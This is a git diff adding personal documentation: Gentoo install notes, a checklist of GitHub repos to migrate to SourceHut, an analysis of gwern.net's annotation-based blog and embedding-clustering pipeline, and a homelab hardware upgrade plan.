+media-fonts/noto +media-fonts/hack + +# System +app-admin/sudo +sys-process/htop +``` + +### Per-package USE overrides + +These go in `/etc/portage/package.use/` (one file per category or one big file): + +```bash +# /etc/portage/package.use/browser +www-client/firefox -telemetry -wifi screencast + +# /etc/portage/package.use/media +media-video/mpv vulkan lua vaapi + +# /etc/portage/package.use/dev +dev-vcs/git -perl curl +``` + +--- + +## 9. Network Setup Plan + +Decide your network management approach: + +| Method | Complexity | Best for | +|--------|-----------|----------| +| `dhcpcd` + `wpa_supplicant` | Simple | Minimal setups, servers | +| NetworkManager | Medium | Laptops, mixed wired/wifi | +| `iwd` | Simple | Modern wifi-only replacement for wpa_supplicant | +| `netifrc` (Gentoo default) | Medium | OpenRC static configs | + +For a suckless setup: `dhcpcd` for ethernet, `iwd` or `wpa_supplicant` for wifi. + +--- + +## 10. Bootloader + +| Bootloader | BIOS | UEFI | Notes | +|------------|------|------|-------| +| GRUB | Yes | Yes | Most documented, heaviest | +| efibootmgr | No | Yes | Direct UEFI boot, no bootloader needed | +| systemd-boot | No | Yes | Simple, systemd only | +| rEFInd | No | Yes | GUI picker, good for multi-boot | +| LILO | Yes | No | Legacy | + +For UEFI: `efibootmgr` is the simplest. Just register the kernel directly with UEFI. No bootloader binary needed. + +```bash +# Direct UEFI boot (no bootloader) +efibootmgr --create --disk /dev/sdX --part 1 \ + --label "Gentoo" --loader "\vmlinuz-6.x.x-gentoo" \ + --unicode "root=/dev/sdX3 ro" +``` + +--- + +## 11. Post-Install Checklist + +``` +[ ] Set timezone: ln -sf /usr/share/zoneinfo/Region/City /etc/localtime +[ ] Set locale: edit /etc/locale.gen, run locale-gen +[ ] Set hostname: /etc/hostname and /etc/hosts +[ ] Create user: useradd -m -G wheel,audio,video,usb -s /bin/fish username +[ ] Configure sudo: visudo (uncomment wheel group) +[ ] Enable services (OpenRC: rc-update add / systemd: systemctl enable) +[ ] Install and configure display server (Xorg) +[ ] Build and install suckless tools (dwm, st, dmenu) +[ ] Deploy dotfiles (stow srice) +[ ] Set up SSH keys +[ ] Configure firewall (iptables/nftables) +``` + +--- + +## 12. Compile Time Estimates + +Gentoo compiles everything from source. Know what you're getting into: + +| Package | Rough time (modern desktop) | +|---------|---------------------------| +| GCC | 30-60 min | +| LLVM/Clang | 30-60 min | +| Linux kernel | 10-30 min | +| Firefox | 60-120 min | +| Chromium | 120-240 min | +| LibreOffice | 60-120 min | +| Qt5/Qt6 | 30-60 min | +| Rust (bootstrapping) | 30-60 min | +| Xorg server | 5-10 min | +| dwm | <1 min | +| Most small packages | <5 min | + +`MAKEOPTS="-jN"` where N = number of CPU threads. More threads = faster compile. + +--- + +## 13. Useful References + +- Gentoo Handbook (AMD64): https://wiki.gentoo.org/wiki/Handbook:AMD64 +- USE flag index: https://www.gentoo.org/support/use-flags/ +- Package search: https://packages.gentoo.org +- Kernel config guide: https://wiki.gentoo.org/wiki/Kernel/Configuration +- Gentoo Wiki (general): https://wiki.gentoo.org +- Portage manual: `man 5 make.conf`, `man 1 emerge` + +--- + +## 14. Common Pitfalls + +1. **Forgetting firmware**: WiFi/GPU won't work without `linux-firmware` +2. **Wrong kernel drivers**: If a driver is missing, the device is invisible. Use `lspci -k` to check what driver the live CD uses +3. **USE flag conflicts**: `emerge` will tell you. Read the messages, adjust flags +4. **Circular dependencies**: Occasionally happens. The wiki has workarounds for known ones +5. **Not reading elog messages**: `emerge` prints important post-install messages. Read them +6. **Skipping `dispatch-conf`**: After updates, config files need merging. Run `dispatch-conf` or `etc-update` +7. **World file management**: `emerge --depclean` removes orphaned packages. Run `emerge --depclean --pretend` first +8. **Sync before install**: Always `emerge --sync` before a big emerge session diff --git a/doc/git.md b/doc/git.md new file mode 100644 index 0000000000000000000000000000000000000000..00f8bdc463302b57236c87b98476b7136e2a4532 --- /dev/null +++ b/doc/git.md @@ -0,0 +1,303 @@ +# GitHub Repos Not Yet on SourceHut + +Format: `[ ] repo-name` -- add destination (srht/codeberg) and any notes after + +## Sites +- [ ] ai.krisyotam.com --> delete +- [ ] cal.krisyotam.com --> delete +- [ ] cv.krisyotam.com --> delete +- [ ] dev.krisyotam.com ---> delete +- [ ] edu.krisyotam.com --> srht +- [ ] photos.krisyotam.com --> srht +- [ ] tools.krisyotam.com --> srht +- [ ] wiki.krisyotam.com --> srht +- [ ] donaldlamar.com --> srht +- [ ] leads.donlamar.com --> srht +- [ ] sales.donlamar.com --> srht +- [ ] umt.world --> leave on github + +## Suckless / Plan 9 +- [ ] dafmenu --> (what is this add a comment here) +- [ ] dwmblocks --> delete provided the proper one is already on srht +- [ ] dwmblocks-async --> delete provided the proper one is already on srht +- [ ] torrinfail-dwmblocks --> delete provided the proper one is already on srht +- [ ] smu (what is this?) +- [ ] suckless (what is this?) +- [ ] suckless-site --> delete +- [ ] plan9port-config (keep on github) +- [ ] acme --> delete +- [ ] awesome-acme --> delete + +## Personal Tools / Scripts +- [ ] kristoo --> (leave on github) +- [ ] kbt (leave on github) +- [ ] llmstrip (does not exist) +- [ ] archiver-bot (is this a worse version of sbot? if so delete) +- [ ] archive-text-urls +- [ ] sse-archiver +- [ ] btrbk +- [ ] btrfs-backup +- [ ] ffmpeg-scripts +- [ ] ffscreencast +- [ ] sc0ttj-ffmpeg +- [ ] screen-recorder-script +- [ ] screenshot-actions +- [ ] scripts +- [ ] misc-scripts +- [ ] mac_scripts +- [ ] MacScripts +- [ ] mac_os +- [ ] macOS-Automation-Collection +- [ ] imagemagick-scripts +- [ ] Bash-Scripts +- [ ] pure-bash-bible +- [ ] pure-sh-bible +- [ ] the-art-of-command-line +- [ ] awesome-bash +- [ ] awesome-shell +- [ ] awesome-fetch +- [ ] awesome-dotfiles +- [ ] awesome-gists +- [ ] gists +- [ ] dot +- [ ] dotfiles +- [ ] dotfiles_v2 +- [ ] seirdy-dotfiles +- [ ] voidrice +- [ ] fzf +- [ ] fzf-nova +- [ ] hellwal +- [ ] pywal +- [ ] gossa +- [ ] wifi-password +- [ ] emails +- [ ] lofi +- [ ] playlist + +## AI / Prompts / LLM +- [ ] ai +- [ ] ai-notes +- [ ] AIPIHKAL +- [ ] ai-prompts +- [ ] agent-prompts +- [ ] agent-skills +- [ ] agentic-coding-meta-prompt +- [ ] agentic-system-prompts +- [ ] ai-driven-development +- [ ] advanced-context-engineering-for-coding-agents +- [ ] active-prompt +- [ ] anti-ai-slop-writing +- [ ] anti-slop +- [ ] anti-slop-writing +- [ ] stop-slop +- [ ] humanize-writing-skill +- [ ] awesome-ai-dev-prompts +- [ ] awesome-ai-prompts +- [ ] awesome-ai-rules +- [ ] awesome-ai-system-prompts +- [ ] awesome-autoresearch +- [ ] awesome-awesome-prompts +- [ ] awesome-chatgpt-prompts +- [ ] awesome-claude-code +- [ ] awesome-claude-code-subagents +- [ ] awesome-claude-prompts +- [ ] Awesome-Code-LLM +- [ ] awesome-copilot +- [ ] awesome-copilot-chatmodes +- [ ] awesome-cursor-rules +- [ ] awesome-cursorrules +- [ ] awesome-cursor-rules-mdc +- [ ] Awesome-Deep-Research +- [ ] awesome-deep-research-prompts +- [ ] awesome-gpt-prompt-engineering +- [ ] Awesome_GPT_Super_Prompting +- [ ] Awesome-LLM-Prompt-Libraries +- [ ] Awesome-LLM-Prompt-Optimization +- [ ] awesome-llm-prompts +- [ ] awesome-openclaw-skills +- [ ] awesome-prompt-engineering +- [ ] Awesome-Prompt-Engineering +- [ ] awesome-prompt-optimization +- [ ] awesome-prompts +- [ ] Awesome-Research-Prompts +- [ ] awesome-reviewers +- [ ] awesome-system-prompts +- [ ] browse-skills +- [ ] chain-of-thought-hub +- [ ] chatgpt-prompts-for-academic-writing +- [ ] claude-code-configs +- [ ] claude-code-nextjs-skills +- [ ] claude-code-system-prompts +- [ ] Claude-Deep-Research +- [ ] claude-nextjs-skills +- [ ] claude-plugins +- [ ] claude-prompt-engineering-guide +- [ ] claude-skills +- [ ] Claude-to-React-Next +- [ ] clojure-prompts +- [ ] context-engineering-nextjs +- [ ] create-v0 +- [ ] cursor-rules-and-prompts +- [ ] cursor-thinking +- [ ] deep-research +- [ ] deepresearch +- [ ] deepteam +- [ ] dev-chatgpt-prompts +- [ ] DevRules +- [ ] dspy +- [ ] fabric +- [ ] GPTFuzz +- [ ] GPTs +- [ ] idea-creation +- [ ] jailbreakbench +- [ ] jailbreak_llms +- [ ] langchain-hub +- [ ] leaked-system-prompts +- [ ] LLM-Academic-Writing +- [ ] llm-ide-rules +- [ ] llm-prompt-library +- [ ] LLM-Prompt-Library +- [ ] llm-prompts +- [ ] llm-sp +- [ ] meta-prompting +- [ ] my-prompt-library +- [ ] next-ai-news +- [ ] next-devtools-mcp +- [ ] NextFaster +- [ ] nextjs16-agent-skills +- [ ] open-deep-research +- [ ] open_deep_research +- [ ] opro +- [ ] prompt-engineering +- [ ] Prompt_Engineering +- [ ] Prompt-Engineering-Assistants-System-Prompts +- [ ] Prompt-Engineering-Guide +- [ ] Prompt-Engineering-Holy-Grail +- [ ] prompt-engineering-with-anthropic-claude-v-3 +- [ ] prompt-eng-interactive-tutorial +- [ ] promptfoo +- [ ] Prompt-Hacking-Resources +- [ ] Promptify +- [ ] prompt-library +- [ ] prompt-recovery +- [ ] prompts +- [ ] Prompt-Snippet-Library +- [ ] Research-System-Prompts +- [ ] rules_template +- [ ] skills +- [ ] spec-then-code +- [ ] System-Prompt-Library +- [ ] System-Prompts +- [ ] system-prompts-and-models-of-ai-tools +- [ ] system_prompts_leaks +- [ ] targetedSummarization +- [ ] TheBigPromptLibrary +- [ ] tree-of-thought-prompting +- [ ] v0prompt +- [ ] V0-system-prompt +- [ ] anthropic-cookbook +- [ ] anthropic-deep-research +- [ ] AIStoryWriter +- [ ] autonovel +- [ ] autoresearch + +## Competitive Programming / Education +- [ ] atcoder +- [ ] codeforces +- [ ] codewars +- [ ] compcode +- [ ] euler +- [ ] hackerrank +- [ ] leetcode +- [ ] education +- [ ] teaching +- [ ] academia +- [ ] slides + +## Cybersecurity +- [ ] hackthebox +- [ ] tryhackme +- [ ] offsec +- [ ] pentest +- [ ] malware +- [ ] RamadhanAmizudin-malware +- [ ] vxunderground-MalwareSourceCode +- [ ] viruses +- [ ] Shadowbroker +- [ ] Red-Team-Arxiv-Paper-Update +- [ ] cicada3301 +- [ ] CL4R1T4S +- [ ] Kami +- [ ] open_777 +- [ ] potpie + +## Writing / Content +- [ ] blog +- [ ] essais +- [ ] form-study +- [ ] gwern.net +- [ ] lostpages +- [ ] papers +- [ ] poetry +- [ ] prayers +- [ ] til +- [ ] words +- [ ] writing +- [ ] sumtex +- [ ] corpora +- [ ] matuschak-notes +- [ ] codebase-digest + +## Data / APIs / Datasets +- [ ] Arithmos +- [ ] ars-goetia-api +- [ ] Futhark-Decoder +- [ ] Gematria +- [ ] YoavNaaman-Gematria +- [ ] iching-wilhelm-dataset +- [ ] tarot-api +- [ ] tarot-json +- [ ] witches +- [ ] witch-trials +- [ ] vrm-samples +- [ ] vroid-dataset +- [ ] open-source-avatars +- [ ] 100Avatars +- [ ] 88x31 + +## Personal / Identity +- [ ] bio +- [ ] kris +- [ ] krisyotam +- [ ] 9kris +- [ ] portfolio +- [ ] minerva +- [ ] sophia-archive +- [ ] sophia-harness +- [ ] AliceChan + +## Gaming +- [ ] Terraria-Character-Editor-1.4.5-Calamity-Thorium +- [ ] terraria-player-parser +- [ ] terraria-plr-format-spec +- [ ] Terraria_Saves +- [ ] awesome-vrchat +- [ ] vrchat-asset-browser +- [ ] wba + +## Infrastructure / Homelab +- [ ] homelab +- [ ] anchr +- [ ] pi +- [ ] christitus-neovim + +## Commerce +- [ ] shop +- [ ] orders + +## Misc +- [ ] usenet +- [ ] usenet-mine +- [ ] project-100x +- [ ] project-omniscient +- [ ] whichisbetter diff --git a/doc/gwern.md b/doc/gwern.md new file mode 100644 index 0000000000000000000000000000000000000000..2b0bb9a9e0bdea030dac9eed992bbe12845c8c64 --- /dev/null +++ b/doc/gwern.md @@ -0,0 +1,348 @@ +# Gwern.net Infrastructure Analysis + +Comprehensive breakdown of gwern.net's build system, blog pipeline, AI collaboration model, and annotation-transclusion architecture. Based on source analysis of the infra repo at `~/src/parsing/gwern.net/`. + +--- + +## Blog System (`/blog/`) + +### Overview + +The `/blog/` is not a traditional blog. It is an **annotation-transclusion system**. Blog posts are annotations stored in the metadata database that get automatically compiled into standalone pages at build time. This eliminates the overhead of creating top-level essays (naming, formatting, stable URLs, summaries) while still making short-form and off-site writings discoverable, linkable, and searchable. + +### Pipeline + +1. Gwern writes something off-site (LessWrong, HN, Reddit, Twitter) or writes a standalone annotation +2. The writing is saved as an **annotation** in the metadata DB with: + - A unique ID (e.g. `gwern-2025-bell-crow-moon`) + - Author field (e.g. `"Gwern, Claude-4-opus, Gemini-2.5-pro, GPT-4o3"`) + - Abstract containing the full text (600-30,000 chars) + - Key-value metadata (status, importance, confidence, description, thumbnail, etc.) +3. At compile time, `Blog.hs` runs `filterForAuthoredAnnotations` which finds all annotations where: + - Author starts with `"Gwern"` (`authorU \`isPrefixOf\` aut`) + - Abstract length > 600 chars (`lengthMin = 600`) + - URL is either external or under `/blog/` + - URL does not end with `/index` +4. For each match, a standalone Markdown page is generated at `blog/YYYY/slug.md` that **transcludes** the annotation +5. Two index pages are also generated: + - `blog/index.md` -- full reverse-chronological listing with year-grouped sections + collapsible transclusions + - `blog/newest.md` -- latest 29 entries, intended for homepage transclusion + +### Generated Page Structure + +Each blog entry page is a thin shell that transcludes the annotation: + +```markdown +--- +title: 'Some Title' +author: Gwern, Claude-4-opus +description: "Short description here" +created: 2025-05-25 +modified: 2025-05-26 +status: finished +importance: 0 +confidence: log +css-extension: dropcaps-de-zs toc-not +backlink: False +placeholder: True +index: True +--- + +[Description text](https://original-url.com){.include-annotation .include-strict rel='canonical' data-include-template='annotation-blockquote-not' .include-spinner-not .id-not} + +[Return to blog index](/blog/index) +``` + +The `.include-annotation` class triggers Pandoc/Hakyll to inline the full annotation content at render time. For external URLs, `rel='canonical'` points back to the original. For recursive `/blog/` entries (self-hosted annotations), `rel='canonical'` is omitted. + +### Index Page Structure + +`blog/index.md` has two sections: + +1. **Quick index** -- bullet list of title links grouped by year headers, with MM-DD dates in parentheses +2. **View Full Posts** -- collapsible year containers with annotation transclusions (first entry per year is always expanded via `include-even-when-collapsed`) + +### Key Constraints + +| Parameter | Value | Purpose | +|-----------|-------|---------| +| `lengthMin` | 600 chars | Minimum abstract length to qualify as a blog post | +| `lengthMax` | 30,000 chars | Warning threshold; suggests splitting into a full essay | +| `titleMax` | 51 chars | Prevents title line-wrapping on mobile | +| ID max length | 47 chars | Set by longest real ID (`gwern-2025-you-could-have-invented-transformers`) | + +### ID Format + +Blog post IDs follow the pattern `gwern-YYYY/slug` or `gwern-YYYY-slug`. The ID is extracted from the annotation's key-value metadata field `("id", "gwern-2025-drl-scaling")`. Both separator formats (`/` and `-` after year) are accepted and normalized to `blog/YYYY/slug.md` output paths. + +### Recursive Blog Posts + +A "recursive" entry is an annotation whose URL is itself `/blog/20xx/foo`. The annotation creates its own page. This allows true standalone blog posts that don't reference any external URL. + +### Why This Design + +Problem: top-level essays on gwern.net require heavy metadata, formatting, naming, and imply long-term maintenance commitment. Meanwhile, some of Gwern's most popular writings are one-off comments on other platforms. + +Solution: store everything as annotations (which already accumulate backlinks, embeddings, similar-links, archive mirroring). The `/blog/` system just gives them stable URLs and a browsable index. If an annotation grows large enough, it can be promoted to a full essay. + +--- + +## AI Collaboration Model + +### Multi-Author Entries + +The blog system supports AI co-authorship natively. The author field is a comma-separated string. As long as the string starts with "Gwern", `filterForAuthoredAnnotations` picks it up. Known examples: + +| Entry | Authors | Type | +|-------|---------|------| +| Bell, Crow, Moon: 11 Variations | `Gwern, Claude-4-opus, Gemini-2.5-pro, GPT-4o3` | Poetry | +| Parliament of Rag & Bone | `Gwern, GPT-4.5, GPT-4-o3, GPT-4-o4-mini-high, Claude-3.7` | Poetry (Yeats homage) | +| 30 Questions for Hans Moravec | `Gwern, GPT-5.4 Pro, Claude-4.6-opus` | Interview prep | +| 25 Questions for Alexander Young | Unknown, likely similar | Interview prep | + +### Workflow Pattern + +The AI collaboration follows a consistent pattern: + +1. **Gwern provides creative direction** -- a concept, a prompt, a source text +2. **LLMs generate variations** -- multiple models are used in parallel (Claude, GPT, Gemini) +3. **Gwern curates and edits** -- selects best outputs, cleans up, reorders +4. **LLMs are tested for critical judgment** -- asked to prune weaker entries +5. **Gwern arranges final structure** -- ordering, scansion annotations, presentation +6. **AI generates illustrations** -- Midjourney, DALL-E for accompanying images + +This is described in "Towards Better LLM Creative Writing" (`/blog/2025/better-llm-writing`) as "intensive search + personalization" -- treating LLMs as creative collaborators in a generate-rank-select loop rather than as autonomous authors. + +### Author Field Convention + +- Solo human: `Gwern` +- Human + AI: `Gwern, Claude-4-opus, GPT-4o3` (human always first) +- The author names use the model's marketing name (e.g. `Claude-4-opus` not `claude-opus-4`) + +--- + +## AI Infrastructure: Embedding + Clustering Pipeline + +### Overview + +Gwern uses AI for three behind-the-scenes organizational tasks: embedding generation, similarity clustering, and cluster labeling. This powers the "Sort By Magic" sections on tag directory pages. + +### Phase 1: Embedding Generation + +- **Script**: `build/embed.sh` +- **API**: OpenAI `text-embedding-3-large` +- **Input**: article title + author + date + keywords + abstract + backlinks +- **Output**: 512-dimensional vectors stored in `metadata/embeddings.bin` +- **Format**: `(URL, timestamp, plaintext, model-id, [float...])` + +### Phase 2: Similarity Clustering + +- **Script**: `build/GenerateSimilar.hs` +- **Algorithm**: RP-Tree (random projection forest) for nearest-neighbor queries +- **Process**: + 1. Embed all annotations via OpenAI API + 2. Build RP-tree index from embeddings + 3. Walk through nearest neighbors starting from newest item + 4. Group into clusters when cosine distance exceeds threshold + 5. Cache results in `metadata/listsortedmagic.hs` + +**Configuration** (`Config/GenerateSimilar.hs`): + +| Setting | Value | Purpose | +|---------|-------|---------| +| `bestNEmbeddings` | 20 | Neighbors to search for | +| `maximumLength` | 32,700 chars | Token limit for embedding API | +| `minimumSuggestions` | 3 | Don't show "Similar Links" below this | +| `iterationLimit` | 6 | Max refinement rounds for kNN | +| `maxDistance` | 0.95 | Cosine distance threshold for clustering | +| `minTagAuto` | 3 | Only show clusters with >= 3 inferred tags | +| `maxTitlesForTagGuessing` | 30 | Max titles fed to tag guesser | + +### Phase 3: Cluster Labeling + +- **Script**: `build/tagguesser.py` +- **API**: OpenAI `gpt-4o-mini` +- **Input**: parent tag name + blacklist of previous labels + 30 shuffled article titles +- **Process**: + 1. Feed titles to GPT-4o-mini + 2. Request 5 tag suggestions (specific, lowercase, hyphen-separated, URL-safe) + 3. Extract final single suggestion + 4. Cache in `metadata/listname.hs` + +### Phase 4: Directory Page Generation + +- **Script**: `build/generateDirectory.hs` +- **Output**: HTML sections with "Sort By Magic" header + auto-labeled clusters +- **Display**: labeled sections with collapsed transcluded annotations + +### Full Pipeline + +``` +annotations --> embed.sh (OpenAI API) --> embeddings.bin +embeddings.bin --> GenerateSimilar.hs (RP-tree kNN) --> listsortedmagic.hs +clusters --> tagguesser.py (GPT-4o-mini) --> listname.hs +caches --> generateDirectory.hs --> HTML "Sort By Magic" sections +``` + +--- + +## Metadata Schema + +### Core Type + +```haskell +type MetadataItem = (String, String, String, String, [(String,String)], [String], String) + -- (Title, Author, Date, DateCreated, K-V pairs, Tags, Abstract) +``` + +### Key-Value Metadata Fields + +Used in the 5th tuple position for per-annotation configuration: + +- `id` -- unique identifier (required for blog posts) +- `description` -- short summary +- `status` -- `finished`, `draft`, etc. +- `importance` -- numeric priority +- `confidence` -- epistemic status (`log`, `likely`, etc.) +- `css-extension` -- page-specific CSS classes +- `thumbnail` -- image path +- `thumbnail-text` -- alt text for thumbnail + +### Caching Databases + +| File | Content | +|------|---------| +| `metadata/embeddings.bin` | Serialized embedding vectors | +| `metadata/listsortedmagic.hs` | Cached sort-by-magic orderings | +| `metadata/listname.hs` | Cached tag name suggestions | + +--- + +## Author Metadata Processing + +`Config/Metadata/Author.hs` (104K+ tokens) handles author string normalization: + +- Regex-based cleanup of academic suffixes (PhD, MD, BSc, etc.) +- Initial formatting (`J.Smith` --> `J. Smith`) +- Surname-initial reordering (`Smith, J.` --> `J. Smith`) +- Semicolon-to-comma normalization +- Author linking to Wikipedia for known figures +- Collapsible display for 5+ author lists (show 3, collapse rest) +- Author link blacklisting + +--- + +## Build System Overview + +The site compiles via Hakyll (Haskell static site generator) with extensive custom modules: + +### Key Build Files + +| File | Purpose | +|------|---------| +| `Blog.hs` | Blog annotation-transclusion system | +| `Annotation.hs` | Core annotation handling | +| `GenerateSimilar.hs` | Embedding + clustering engine | +| `generateDirectory.hs` | Directory/tag page builder with Sort-by-Magic | +| `embed.sh` | OpenAI embedding API wrapper | +| `tagguesser.py` | GPT-4o-mini cluster label generator | +| `LinkID.hs` | Annotation ID extraction | +| `LinkMetadata.hs` | Metadata sorting/filtering | +| `LinkMetadataTypes.hs` | Core type definitions | +| `Config/Misc.hs` | Global config (author name, root dir, current year) | +| `Config/Metadata/Author.hs` | Author string normalization (massive) | +| `Config/GenerateSimilar.hs` | Clustering tuning parameters | + +### Site Root + +All paths are relative to `~/wiki/` on Gwern's system (`Config/Misc.hs` line 21: `root = unsafePerformIO getHomeDirectory ++ "/wiki/"`). + +--- + +## Blog Entry Inventory (as of 2026-05-23) + +### 2026 +- `/blog/2026/questions-moravec` -- 30 Questions for Hans Moravec (AI co-authored) +- `/blog/2026/questions-young` -- 25 Questions for Alexander Young +- `/blog/2026/rabbit` -- Jacky Rabbit and the Empty Jam Pot (human, fiction) +- `/blog/2026/make-me-care` -- First, Make Me Care + +### 2025 (20 entries) +- `/blog/2025/conference-size` -- Conference Fermi Problems +- `/blog/2025/perfume` -- Perfume Reviews +- `/blog/2025/bot-location` -- Tracking Phishing Bots Via Locations +- `/blog/2025/better-llm-writing` -- Towards Better LLM Creative Writing +- `/blog/2025/conference` -- Conferences As D&D Tabletops +- `/blog/2025/pinball-hacking` -- Hacking Pinball High Scores +- `/blog/2025/bell-crow-moon` -- Bell, Crow, Moon: 11 Variations (AI co-authored) +- `/blog/2025/you-could-have-invented-transformers` -- You Could've Invented Transformers +- `/blog/2025/human-cannibalism` -- Human Cannibalism Alignment Chart +- `/blog/2025/meta-doomsday` -- The Meta-LW Doomsday Argument +- `/blog/2025/ai-cannibalism` -- AI Cannibalism Can Be Good +- `/blog/2025/area-man` -- Area Man Angry AI Not Silver Bullet +- `/blog/2025/parliament` -- Parliament of Rag & Bone (AI co-authored) +- `/blog/2025/good-ai-samples` -- Adding Bits Beats AI Slop +- `/blog/2025/sake` -- Review: The Birth of Sake +- `/blog/2026/questions-henrich` -- 10 Questions for Joseph Henrich +- `/blog/2025/large-files` -- Gwern.net Large File Support +- `/blog/2025/llms-can-be-faster` -- LLMs Can Be Faster Than You Think +- `/blog/2025/plumbing-vs-internet` -- Plumbing vs Internet, Revisited + +### 2024 (26 entries) +- `/blog/2024/trajectoid-words`, `/blog/2024/tlon`, `/blog/2024/virtual-comments`, `/blog/2024/winning-arms-races`, `/blog/2024/china-dl`, `/blog/2024/diminishing-returns`, `/blog/2024/program-reliability`, `/blog/2024/e-positive`, `/blog/2024/pemmican`, `/blog/2024/llm-acceptable-use-policy`, `/blog/2024/tail-collapse`, `/blog/2024/hardware-hedging`, `/blog/2024/writing-online`, `/blog/2024/marvel`, `/blog/2024/sydney`, `/blog/2024/rss`, `/blog/2024/gamblers-verity`, `/blog/2024/personalization`, `/blog/2024/regexp-ai`, `/blog/2024/openai-mojo`, `/blog/2024/semantic-derealization`, `/blog/2024/tools-for-thought-failure`, `/blog/2024/sick-kids`, `/blog/2024/tolkien`, `/blog/2024/multiuser-wiki`, `/blog/2024/marx-brothers` + +### 2023 +- `/blog/2023/good-writing`, `/blog/2023/mode-collapse`, `/blog/2023/littles-law`, `/blog/2023/subtle-poisons` + +### 2022 +- `/blog/2022/active-learning`, `/blog/2022/cleanup-when`, `/blog/2022/pdf-forgery`, `/blog/2022/fastest-human` + +### 2021 +- `/blog/2021/dream-morality`, `/blog/2021/cat-tail` + +### 2020 +- `/blog/2020/mlscaling`, `/blog/2020/smallcaps-filter`, `/blog/2020/gpt2-poetry-collaboration` + +### 2019 +- `/blog/2019/twdne-website` + +### 2018 +- `/blog/2018/brain-imitation-learning` + +### 2015 +- `/blog/2015/dmt-factoring` + +### 2013 +- `/blog/2013/weirdness-points` + +### 2011 +- `/blog/2011/i-zombies` + +--- + +## Extractable Ideas for krisyotam.com / srice + +### Annotation-Transclusion Blog +- Store short-form and off-site writings as annotations in content.db +- Generate lightweight blog pages that transclude annotation content +- Automatic index generation (full + recent subset for homepage) +- Zero-friction publishing: add annotation with ID, page appears at next build + +### AI Co-Authorship Metadata +- Author field already supports comma-separated names +- Credit AI models by marketing name when they contribute meaningfully +- Filter by primary author (human) to auto-collect blog posts + +### Embedding-Based Related Content +- Embed all content.db entries via OpenAI API +- Build similarity index for "related posts" sections +- RP-tree or similar ANN structure for fast lookups + +### Auto-Clustering for Tag/Index Pages +- Group content by embedding similarity instead of manual tagging alone +- Use cheap model (gpt-4o-mini) for cluster label generation +- "Sort By Magic" alternative browsing mode + +### Recursive Self-Hosting +- Allow blog annotations to reference their own URL +- Enables standalone posts without external source URLs diff --git a/doc/homelab/hardware-plan.md b/doc/homelab/hardware-plan.md new file mode 100644 index 0000000000000000000000000000000000000000..f0aa0093175b246ca82e551b179b0b79db7b22a8 --- /dev/null +++ b/doc/homelab/hardware-plan.md @@ -0,0 +1,175 @@ +# Hardware Migration & Upgrade Plan + +Long-term plan for the three primary machines in Kris's setup. Written 2026-05-12. + +## Target end state + +| Role | Machine | Why | +|------|---------|-----| +| Desktop / workstation | Mac Pro 7,1 (Intel) | Aesthetic + real expandability + Xeon W + DDR4 ECC | +| Server (STARGATE) | moirai (Arrow Lake) repurposed and rackmounted | Modern silicon, DDR5, fast NVMe, runs all services | +| NAS | Mac Pro 5,1 (cheese grater) | Cheap, huge drive capacity, perfect for bulk storage | + +The current STARGATE (HP Z440) gets decommissioned or kept as a cold spare. + +--- + +## Phase 1 — Acquire the Mac Pro 7,1 + +The 7,1 is the only Mac Pro that makes sense as a serious workstation: Xeon W, DDR4 ECC RDIMM, 8 PCIe slots, MPX bays, up to 1.5 TB RAM, real internal expansion. It's the chassis you grow into. + +### Base unit to look for + +| Spec | Minimum acceptable base | Notes | +|------|------------------------|------| +| CPU | Xeon W-3223 (8c/16t) or W-3235 (12c/24t) | CPU is socketed (LGA 3647) — upgradeable later | +| RAM | 32 GB DDR4-2933 ECC RDIMM (any config) | Will replace anyway | +| Storage | Whatever Apple SSD it ships with | Replace with NVMe via PCIe blade adapter | +| GPU | Stock 580X or W5700X | Will replace | +| PSU | 1.4 kW stock | Plenty | + +Used market target: **$1500-2500 for a base 8-core 32 GB unit** as of early 2026. Don't pay for pre-maxed configs — Apple charges insane markups on RAM/SSD and we can do better aftermarket. + +### Upgrade path (priority order) + +1. **RAM → 192 GB (6× 32 GB DDR4-2933 ECC RDIMM)** — biggest single quality-of-life upgrade. Use Samsung/Hynix server-pull RDIMM. ~$300-500 used. Populate 6 slots first (1 DIMM per channel) for best bandwidth; only go to 12 slots if you need >192 GB. +2. **CPU → Xeon W-3275M (28c/56t, 2.5/4.4 GHz)** — the top chip. Drop-in, socketed. Used pulls run $400-800. Unlocks full RAM ceiling (1.5 TB) and PCIe lanes. +3. **Storage** — Apple's stock SSD is fine, but for real work: install 2× 4 TB NVMe via Sonnet M.2 4×4 PCIe card (requires bifurcation — works in 7,1). Keep Apple SSD for boot if dual-booting macOS. +4. **GPU** — depends on use. Sapphire Pulse RX 6900 XT (works natively in macOS Monterey+) or Radeon Pro W6800X MPX. Skip Nvidia (no driver support past 10.13). +5. **10 GbE** — stock 7,1 already has 2× 10 GbE on the I/O board. No upgrade needed; this is one of the few cases where the Mac Pro is server-class out of the box. + +### Realistic maxed 7,1 + +- Xeon W-3275M (28c/56t) +- 192 GB DDR4-2933 ECC (room to grow to 1.5 TB) +- 4-8 TB NVMe via PCIe blade card +- Radeon Pro W6800X or RX 7900 XTX +- 2× 10 GbE onboard + +Total cost path (base + upgrades): **~$2500-3500** for a machine that will be a top-tier workstation for another 5-7 years. + +--- + +## Phase 2 — moirai → STARGATE migration + +moirai is already on Arrow Lake (Core Ultra 7 265K, 20c, DDR5-5600). The migration is logical, not physical-first: provision moirai as a server, move services off the Z440, then optionally rack moirai. + +### Current moirai specs (2026-05-12) + +| Component | Value | +|-----------|-------| +| Board | ASUS Z890 AYW Gaming WiFi W (LGA 1851) | +| CPU | Intel Core Ultra 7 265K — 20c/20t, 5.6 GHz boost | +| RAM | 32 GB DDR5-5600 (2× 16, 2 slots free) | +| Boot | 1 TB NVMe (Crucial P310) | +| Data | 1 TB NVMe (`/mnt/storage2`) + 1.8 TB SATA (`/mnt/storage`) | +| GPU | AMD RX 6800 XT (Navi 21) | +| NIC | Realtek RTL8125 2.5 GbE + MediaTek WiFi 6 | + +### Upgrade path (priority order) + +1. **RAM → 128 GB DDR5-5600 (4× 32 GB UDIMM)** — Z890 board cap. moirai is already swap-thrashing at 32 GB; this is non-negotiable before becoming STARGATE. ~$300-400. +2. **Boot/data NVMe → 2 TB or 4 TB (WD SN850X / Samsung 990 Pro)** — leaves room for service data, container volumes, fast Postgres. ~$150-300. +3. **10 GbE NIC** — Intel X550-T2 (RJ45) or Mellanox ConnectX-4 Lx (SFP+). Critical link to the 5,1 NAS. Plug into a free PCIe x4+ slot. ~$60-150 used. +4. **CPU → Core Ultra 9 285K (24c, +8 E-cores)** — optional. Only meaningful uplift available on LGA 1851. ~$600. Skip unless you actually pin out the existing 265K. +5. 